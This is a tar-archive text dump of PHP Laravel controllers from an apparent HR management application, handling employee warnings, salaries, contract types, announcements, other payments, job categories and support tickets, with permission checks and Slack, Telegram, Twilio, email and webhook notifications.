if(\Auth::user()->can('Create Warning')) { if(\Auth::user()->type != 'employee') { $validator = \Validator::make( $request->all(), [ 'warning_by' => 'required', ] ); } $validator = \Validator::make( $request->all(), [ 'warning_to' => 'required', 'subject' => 'required', 'warning_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $warning = new Warning(); if(\Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $warning->warning_by = $emp->id; } else { $warning->warning_by = $request->warning_by; } $warning->warning_to = $request->warning_to; $warning->subject = $request->subject; $warning->warning_date = $request->warning_date; $warning->description = $request->description; $warning->created_by = \Auth::user()->creatorId(); $warning->save(); $setings = Utility::settings(); if($setings['employee_warning'] == 1) { $employee = Employee::find($warning->warning_to); $uArr = [ 'employee_warning_name'=>$employee->name, 'warning_subject'=>$request->subject, 'warning_description'=>$request->description, ]; $resp = Utility::sendEmailTemplate('employee_warning', [$employee->email], $uArr); return redirect()->route('warning.index')->with('success', __('Warning successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('warning.index')->with('success', __('Warning successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Warning $warning) { return redirect()->route('warning.index'); } public function edit(Warning $warning) { if(\Auth::user()->can('Edit Warning')) { if(Auth::user()->type == 'employee') { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('user_id', '!=', $user->id)->get()->pluck('name', 'id'); } else { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } if($warning->created_by == \Auth::user()->creatorId()) { return view('warning.edit', compact('warning', 'employees', 'current_employee')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Warning $warning) { if(\Auth::user()->can('Edit Warning')) { if($warning->created_by == \Auth::user()->creatorId()) { if(\Auth::user()->type != 'employee') { $validator = \Validator::make( $request->all(), [ 'warning_by' => 'required', ] ); } $validator = \Validator::make( $request->all(), [ 'warning_to' => 'required', 'subject' => 'required', 'warning_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if(\Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $warning->warning_by = $emp->id; } else { $warning->warning_by = $request->warning_by; } $warning->warning_to = $request->warning_to; $warning->subject = $request->subject; $warning->warning_date = $request->warning_date; $warning->description = $request->description; $warning->save(); return redirect()->route('warning.index')->with('success', __('Warning successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Warning $warning) { if(\Auth::user()->can('Delete Warning')) { if($warning->created_by == \Auth::user()->creatorId()) { $warning->delete(); return redirect()->route('warning.index')->with('success', __('Warning successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/SetSalaryController.php000064400000025462150364306410014470 0ustar00can('Manage Set Salary')) { $employees = Employee::where( [ 'created_by' => \Auth::user()->creatorId(), ] )->get(); return view('setsalary.index', compact('employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function edit($id) { if (\Auth::user()->can('Edit Set Salary')) { $payslip_type = PayslipType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $allowance_options = AllowanceOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $loan_options = LoanOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $deduction_options = DeductionOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if (\Auth::user()->type == 'employee') { $currentEmployee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $allowances = Allowance::where('employee_id', $currentEmployee->id)->get(); $commissions = Commission::where('employee_id', $currentEmployee->id)->get(); $loans = Loan::where('employee_id', $currentEmployee->id)->get(); $saturationdeductions = SaturationDeduction::where('employee_id', $currentEmployee->id)->get(); $otherpayments = OtherPayment::where('employee_id', $currentEmployee->id)->get(); $overtimes = Overtime::where('employee_id', $currentEmployee->id)->get(); $employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); return view('setsalary.employee_salary', compact('employee', 'payslip_type', 'allowance_options', 'commissions', 'loan_options', 'overtimes', 'otherpayments', 'saturationdeductions', 'loans', 'deduction_options', 'allowances')); } else { $allowances = Allowance::where('employee_id', $id)->get(); $commissions = Commission::where('employee_id', $id)->get(); $loans = Loan::where('employee_id', $id)->get(); $saturationdeductions = SaturationDeduction::where('employee_id', $id)->get(); $otherpayments = OtherPayment::where('employee_id', $id)->get(); $overtimes = Overtime::where('employee_id', $id)->get(); $employee = Employee::find($id); return view('setsalary.edit', compact('employee', 'payslip_type', 'allowance_options', 'commissions', 'loan_options', 'overtimes', 'otherpayments', 'saturationdeductions', 'loans', 'deduction_options', 'allowances')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show($id) { try { $id = Crypt::decrypt($id); } catch (\Throwable $th) { return redirect()->back()->with('error', __('Permission Denied.')); } $payslip_type = PayslipType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $allowance_options = AllowanceOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $loan_options = LoanOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $deduction_options = DeductionOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if (\Auth::user()->type == 'employee') { $currentEmployee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $allowances = Allowance::where('employee_id', $currentEmployee->id)->get(); $commissions = Commission::where('employee_id', $currentEmployee->id)->get(); $loans = Loan::where('employee_id', $currentEmployee->id)->get(); $saturationdeductions = SaturationDeduction::where('employee_id', $currentEmployee->id)->get(); $otherpayments = OtherPayment::where('employee_id', $currentEmployee->id)->get(); $overtimes = Overtime::where('employee_id', $currentEmployee->id)->get(); $employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); foreach ($allowances as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($commissions as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($loans as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($saturationdeductions as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($otherpayments as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } return view('setsalary.employee_salary', compact('employee', 'payslip_type', 'allowance_options', 'commissions', 'loan_options', 'overtimes', 'otherpayments', 'saturationdeductions', 'loans', 'deduction_options', 'allowances')); } else { $allowances = Allowance::where('employee_id', $id)->get(); $commissions = Commission::where('employee_id', $id)->get(); $loans = Loan::where('employee_id', $id)->get(); $saturationdeductions = SaturationDeduction::where('employee_id', $id)->get(); $otherpayments = OtherPayment::where('employee_id', $id)->get(); $overtimes = Overtime::where('employee_id', $id)->get(); $employee = Employee::find($id); foreach ($allowances as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($commissions as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($loans as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($saturationdeductions as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } foreach ($otherpayments as $value) { if ($value->type == 'percentage') { $employee = Employee::find($value->employee_id); $empsal = $value->amount * $employee->salary / 100; $value->tota_allow = $empsal; } } return view('setsalary.employee_salary', compact('employee', 'payslip_type', 'allowance_options', 'commissions', 'loan_options', 'overtimes', 'otherpayments', 'saturationdeductions', 'loans', 'deduction_options', 'allowances')); } } public function employeeUpdateSalary(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'salary_type' => 'required', 'salary' => 'required', 'account_type' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $employee = Employee::findOrFail($id); $input = $request->all(); $employee->fill($input)->save(); return redirect()->back()->with('success', 'Employee Salary Updated.'); } public function employeeSalary() { if (\Auth::user()->type == "employee") { $employees = Employee::where('user_id', \Auth::user()->id)->get(); return view('setsalary.index', compact('employees')); } } public function employeeBasicSalary($id) { $payslip_type = PayslipType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $payslip_type->prepend('Select Payslip Type', ''); $accounts = AccountList::where('created_by', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $accounts->prepend('Select Account Type', ''); $employee = Employee::find($id); return view('setsalary.basic_salary', compact('employee', 'payslip_type', 'accounts')); } } Http/Controllers/ContractTypeController.php000064400000013327150364306410015175 0ustar00middleware( [ 'auth', 'XSS', ] ); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if(\Auth::user()->can('Manage Contract Type')) { $contractTypes = ContractType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('contract_type.index')->with('contractTypes', $contractTypes); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if(\Auth::user()->can('Create Contract Type')) { return view('contract_type.create'); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * * @return \Illuminate\Http\Response */ public function store(Request $request) { if(\Auth::user()->can('Create Contract Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->route('contract_type.index')->with('error', $messages->first()); } $contractType = new ContractType(); $contractType->name = $request->name; $contractType->created_by = \Auth::user()->creatorId(); $contractType->save(); return redirect()->route('contract_type.index')->with('success', __('Contract Type successfully created!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Display the specified resource. * * @param \App\ContractType $contractType * * @return \Illuminate\Http\Response */ public function show(ContractType $contractType) { return redirect()->route('contract_type.index'); } /** * Show the form for editing the specified resource. * * @param \App\ContractType $contractType * * @return \Illuminate\Http\Response */ public function edit(ContractType $contractType) { if(\Auth::user()->can('Edit Contract Type')) { if($contractType->created_by == \Auth::user()->creatorId()) { return view('contract_type.edit', compact('contractType')); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } else { return response()->json(['error' => __('Permission Denied.')], 401); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\ContractType $contractType * * @return \Illuminate\Http\Response */ public function update(Request $request, ContractType $contractType) { // return redirect()->back()->with('error', __('This operation is not perform due to demo mode.')); if(\Auth::user()->can('Edit Contract Type')) { if($contractType->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->route('contract_type.index')->with('error', $messages->first()); } $contractType->name = $request->name; $contractType->save(); return redirect()->route('contract_type.index')->with('success', __('Contract Type successfully updated!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /** * Remove the specified resource from storage. * * @param \App\ContractType $contractType * * @return \Illuminate\Http\Response */ public function destroy(ContractType $contractType) { // return redirect()->back()->with('error', __('This operation is not perform due to demo mode.')); if(\Auth::user()->can('Delete Contract Type')) { if($contractType->created_by == \Auth::user()->creatorId()) { $contractType->delete(); return redirect()->route('contract_type.index')->with('success', __('Contract Type successfully deleted!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } } Http/Controllers/AnnouncementController.php000064400000031552150364306410015210 0ustar00can('Manage Announcement')) { if (Auth::user()->type == 'employee') { $current_employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $announcements = Announcement::orderBy('announcements.id', 'desc')->leftjoin('announcement_employees', 'announcements.id', '=', 'announcement_employees.announcement_id')->where('announcement_employees.employee_id', '=', $current_employee->id)->orWhere( function ($q) { $q->where('announcements.department_id', '["0"]')->where('announcements.employee_id', '["0"]'); } )->get(); } else { $current_employee = Employee::where('user_id', '=', \Auth::user()->id)->first(); $announcements = Announcement::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('announcement.index', compact('announcements', 'current_employee')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Announcement')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees->prepend('All', 0); // $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); // $branch->prepend('All', 0); // $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); // $departments->prepend('All', 0); // $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch = Branch::where('created_by', '=', Auth::user()->creatorId())->get(); $departments = Department::where('created_by', '=', Auth::user()->creatorId())->get(); return view('announcement.create', compact('employees', 'branch', 'departments')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Announcement')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'start_date' => 'required', 'end_date' => 'required|after_or_equal:start_date', 'branch_id' => 'required', 'department_id' => 'required', 'employee_id' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $announcement = new Announcement(); $announcement->title = $request->title; $announcement->start_date = $request->start_date; $announcement->end_date = $request->end_date; $announcement->branch_id = $request->branch_id; $announcement->department_id = implode(",", $request->department_id); $announcement->employee_id = implode(",", $request->employee_id); // $announcement->department_id = json_encode($request->department_id); // $announcement->employee_id = json_encode($request->employee_id); $announcement->description = $request->description; $announcement->created_by = \Auth::user()->creatorId(); $announcement->save(); // slack $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['Announcement_notification']) && $setting['Announcement_notification'] == 1) { // $msg = $request->title . ' ' . __("announcement created for branch") . ' ' . $branch->name . ' ' . __("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'announcement_title' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_slack_msg('new_announcement', $uArr); } // telegram $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); if (isset($setting['telegram_Announcement_notification']) && $setting['telegram_Announcement_notification'] == 1) { // $msg = $request->title . ' ' . __("announcement created for branch") . ' ' . $branch->name . ' ' . __("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'announcement_title' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_telegram_msg('new_announcement', $uArr); } // twilio $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch_id); $departments = Department::where('branch_id', $request->branch_id)->first(); $employees = Employee::where('branch_id', $request->branch_id)->first(); if (isset($setting['twilio_announcement_notification']) && $setting['twilio_announcement_notification'] == 1) { // $employeess = Employee::whereIn('branch_id', $request->employee_id)->get(); // foreach ($employeess as $key => $employee) { // $msg = $request->title . ' ' . __("announcement created for branch") . ' ' . $branch->name . ' ' . __("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'announcement_title' => $request->title, 'branch_name' => $branch->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_twilio_msg($employees->phone, 'new_announcement', $uArr); // } } if (in_array('0', $request->employee_id)) { $departmentEmployee = Employee::whereIn('department_id', $request->department_id)->get()->pluck('id'); $departmentEmployee = $departmentEmployee; } else { $departmentEmployee = $request->employee_id; } foreach ($departmentEmployee as $employee) { $announcementEmployee = new AnnouncementEmployee(); $announcementEmployee->announcement_id = $announcement->id; $announcementEmployee->employee_id = $employee; $announcementEmployee->created_by = \Auth::user()->creatorId(); $announcementEmployee->save(); } //webhook $module = 'New Announcement'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($announcement); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Announcement successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('announcement.index')->with('success', __('Announcement successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Announcement $announcement) { return redirect()->route('announcement.index'); } public function edit($announcement) { if (\Auth::user()->can('Edit Announcement')) { $announcement = Announcement::find($announcement); if ($announcement->created_by == Auth::user()->creatorId()) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('announcement.edit', compact('announcement', 'branch', 'departments', 'employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Announcement $announcement) { if (\Auth::user()->can('Edit Announcement')) { if ($announcement->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'branch_id' => 'required', 'department_id' => 'required', 'employee_id' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $announcement->title = $request->title; $announcement->start_date = $request->start_date; $announcement->end_date = $request->end_date; $announcement->branch_id = $request->branch_id; $announcement->department_id = implode(",", $request->department_id); $announcement->employee_id = implode(",", $request->employee_id); $announcement->description = $request->description; $announcement->save(); return redirect()->route('announcement.index')->with('success', __('Announcement successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Announcement $announcement) { if (\Auth::user()->can('Delete Announcement')) { if ($announcement->created_by == \Auth::user()->creatorId()) { $announcement->delete(); return redirect()->route('announcement.index')->with('success', __('Announcement successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function getemployee(Request $request) { if ($request->department_id) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->where('department_id', $request->department_id)->get()->pluck('name', 'id'); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } return response()->json($employees); } } Http/Controllers/OtherPaymentController.php000064400000011500150364306410015164 0ustar00can('Create Other Payment')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $otherpayment = new OtherPayment(); $otherpayment->employee_id = $request->employee_id; $otherpayment->title = $request->title; $otherpayment->type = $request->type; $otherpayment->amount = $request->amount; $otherpayment->created_by = \Auth::user()->creatorId(); $otherpayment->save(); if( $otherpayment->type == 'percentage' ) { $employee = Employee::find($otherpayment->employee_id); $loansal = $otherpayment->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('OtherPayment successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(OtherPayment $otherpayment) { return redirect()->route('commision.index'); } public function edit($otherpayment) { $otherpayment = OtherPayment::find($otherpayment); if(\Auth::user()->can('Edit Other Payment')) { if($otherpayment->created_by == \Auth::user()->creatorId()) { $otherpaytypes=OtherPayment::$otherPaymenttype; return view('otherpayment.edit', compact('otherpayment','otherpaytypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, OtherPayment $otherpayment) { if(\Auth::user()->can('Edit Other Payment')) { if($otherpayment->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $otherpayment->title = $request->title; $otherpayment->type = $request->type; $otherpayment->amount = $request->amount; $otherpayment->save(); if( $otherpayment->type == 'percentage' ) { $employee = Employee::find($otherpayment->employee_id); $loansal = $otherpayment->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('OtherPayment successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(OtherPayment $otherpayment) { if(\Auth::user()->can('Delete Other Payment')) { if($otherpayment->created_by == \Auth::user()->creatorId()) { $otherpayment->delete(); return redirect()->back()->with('success', __('OtherPayment successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/JobCategoryController.php000064400000007046150364306410014767 0ustar00can('Manage Job Category')) { $categories = JobCategory::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('jobCategory.index', compact('categories')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { return view('jobCategory.create'); } public function store(Request $request) { if(\Auth::user()->can('Create Job Category')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $jobCategory = new JobCategory(); $jobCategory->title = $request->title; $jobCategory->created_by = \Auth::user()->creatorId(); $jobCategory->save(); return redirect()->back()->with('success', __('Job category successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(JobCategory $jobCategory) { // } public function edit(JobCategory $jobCategory) { return view('jobCategory.edit', compact('jobCategory')); } public function update(Request $request, JobCategory $jobCategory) { if(\Auth::user()->can('Edit Job Category')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $jobCategory->title = $request->title; $jobCategory->save(); return redirect()->back()->with('success', __('Job category successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(JobCategory $jobCategory) { if(\Auth::user()->can('Delete Job Category')) { if($jobCategory->created_by == \Auth::user()->creatorId()) { $jobs = Job::where('category',$jobCategory->id)->get(); if(count($jobs) == 0) { $jobCategory->delete(); } else { return redirect()->back()->with('error', __('This Job category has Job. Please remove the Job from this Job category.')); } return redirect()->back()->with('success', __('Job category successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/TicketController.php000064400000042104150364306410013774 0ustar00type == 'company' || \Auth::user()->type == 'hr') { $countTicket = Ticket::where('created_by', '=', \Auth::user()->creatorId())->count(); $countOpenTicket = Ticket::where('status', '=', 'open')->where('created_by', '=', \Auth::user()->creatorId())->count(); $countonholdTicket = Ticket::where('status', '=', 'onhold')->where('created_by', '=', \Auth::user()->creatorId())->count(); $countCloseTicket = Ticket::where('status', '=', 'close')->where('created_by', '=', \Auth::user()->creatorId())->count(); }else { $countTicket = Ticket::where('employee_id', '=', \Auth::user()->id)->orWhere('ticket_created', \Auth::user()->id)->count(); $countOpenTicket = Ticket::where('status', '=', 'open')->where('employee_id', '=', \Auth::user()->id)->count(); $countonholdTicket = Ticket::where('status', '=', 'onhold')->where('employee_id', '=', \Auth::user()->id)->count(); $countCloseTicket = Ticket::where('status', '=', 'close')->where('employee_id', '=', \Auth::user()->id)->count(); } $arr = []; array_push($arr, $countTicket, $countOpenTicket, $countonholdTicket, $countCloseTicket); $ticket_arr = json_encode($arr); if (\Auth::user()->can('Manage Ticket')) { $user = Auth::user(); if ($user->type == 'employee') { $tickets = Ticket::where('employee_id', '=', \Auth::user()->id)->orWhere('ticket_created', \Auth::user()->id)->get(); } else { $tickets = Ticket::select('tickets.*')->join('users', 'tickets.created_by', '=', 'users.id')->where('users.created_by', '=', \Auth::user()->creatorId())->orWhere('tickets.created_by', \Auth::user()->creatorId())->get(); } return view('ticket.index', compact('tickets', 'countTicket', 'countOpenTicket', 'countCloseTicket', 'countonholdTicket', 'ticket_arr')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Ticket')) { if (\Auth::user()->type != 'employee') { $employees = User::where('created_by', '=', \Auth::user()->creatorId())->where('type', '=', 'employee')->get()->pluck('name', 'id'); } else { $employees = User::where('created_by', '=', \Auth::user()->creatorId())->where('type', '=', 'employee')->first(); } return view('ticket.create', compact('employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Ticket')) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'priority' => 'required', 'end_date' => 'required', 'employee_id' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $rand = date('hms'); $ticket = new Ticket(); $ticket->title = $request->title; if (Auth::user()->type == "employee") { $ticket->employee_id = \Auth::user()->id; } else { $ticket->employee_id = $request->employee_id; } $ticket->priority = $request->priority; $date1 = date("Y-m-d"); $date2 = $request->end_date; if ($date1 > $date2) { return redirect()->back()->with('error', __('Please Select Today or After Date ')); } else { $ticket->end_date = $request->end_date; } $ticket->ticket_code = $rand; $ticket->description = $request->description; if (!empty($request->attachment)) { $image_size = $request->file('attachment')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('attachment')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('attachment')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/tickets/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'attachment', $fileNameToStore, $dir, []); $ticket->attachment = !empty($request->attachment) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $ticket->ticket_created = \Auth::user()->id; $ticket->created_by = \Auth::user()->creatorId(); $ticket->status = $request->status; $ticket->save(); //slack $setting = Utility::settings(\Auth::user()->creatorId()); $emp = User::where('id', $request->employee_id)->first(); if (isset($setting['ticket_notification']) && $setting['ticket_notification'] == 1) { // $msg = ("New Support ticket created of") . ' ' . $request->priority . ' ' . __("priority for") . ' ' . $emp->name . ' '; $uArr = [ 'ticket_priority' => $request->priority, 'employee_name' => $emp->name, ]; Utility::send_slack_msg('new_ticket', $uArr); } //telegram $setting = Utility::settings(\Auth::user()->creatorId()); $emp = User::where('id', $request->employee_id)->first(); if (isset($setting['telegram_ticket_notification']) && $setting['telegram_ticket_notification'] == 1) { // $msg = ("New Support ticket created of") . ' ' . $request->priority . ' ' . __("priority for") . ' ' . $emp->name . ' '; $uArr = [ 'ticket_priority' => $request->priority, 'employee_name' => $emp->name, ]; Utility::send_telegram_msg('new_ticket', $uArr); } // twilio $setting = Utility::settings(\Auth::user()->creatorId()); $emp = Employee::where('user_id', $request->employee_id)->first(); if (isset($setting['twilio_ticket_notification']) && $setting['twilio_ticket_notification'] == 1) { // $msg = ("New Support ticket created of") . ' ' . $request->priority . ' ' . __("priority for") . ' ' . $emp->name . ' '; $uArr = [ 'ticket_priority' => $request->priority, 'employee_name' => $emp->name, ]; Utility::send_twilio_msg($emp->phone, 'new_ticket', $uArr); } $setings = Utility::settings(); if ($setings['new_ticket'] == 1) { $employee = Employee::where('user_id', '=', $ticket->employee_id)->first(); $uArr = [ 'ticket_title' => $ticket->title, 'ticket_name' => $employee->name, 'ticket_code' => $rand, 'ticket_description' => $request->description, ]; $resp = Utility::sendEmailTemplate('new_ticket', [$employee->email], $uArr); // return redirect()->route('ticket.index')->with('success', __('Ticket successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } //webhook $module = 'New Ticket'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($ticket); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->route('ticket.index')->with('success', __('Ticket successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('ticket.index')->with('success', __('Ticket successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
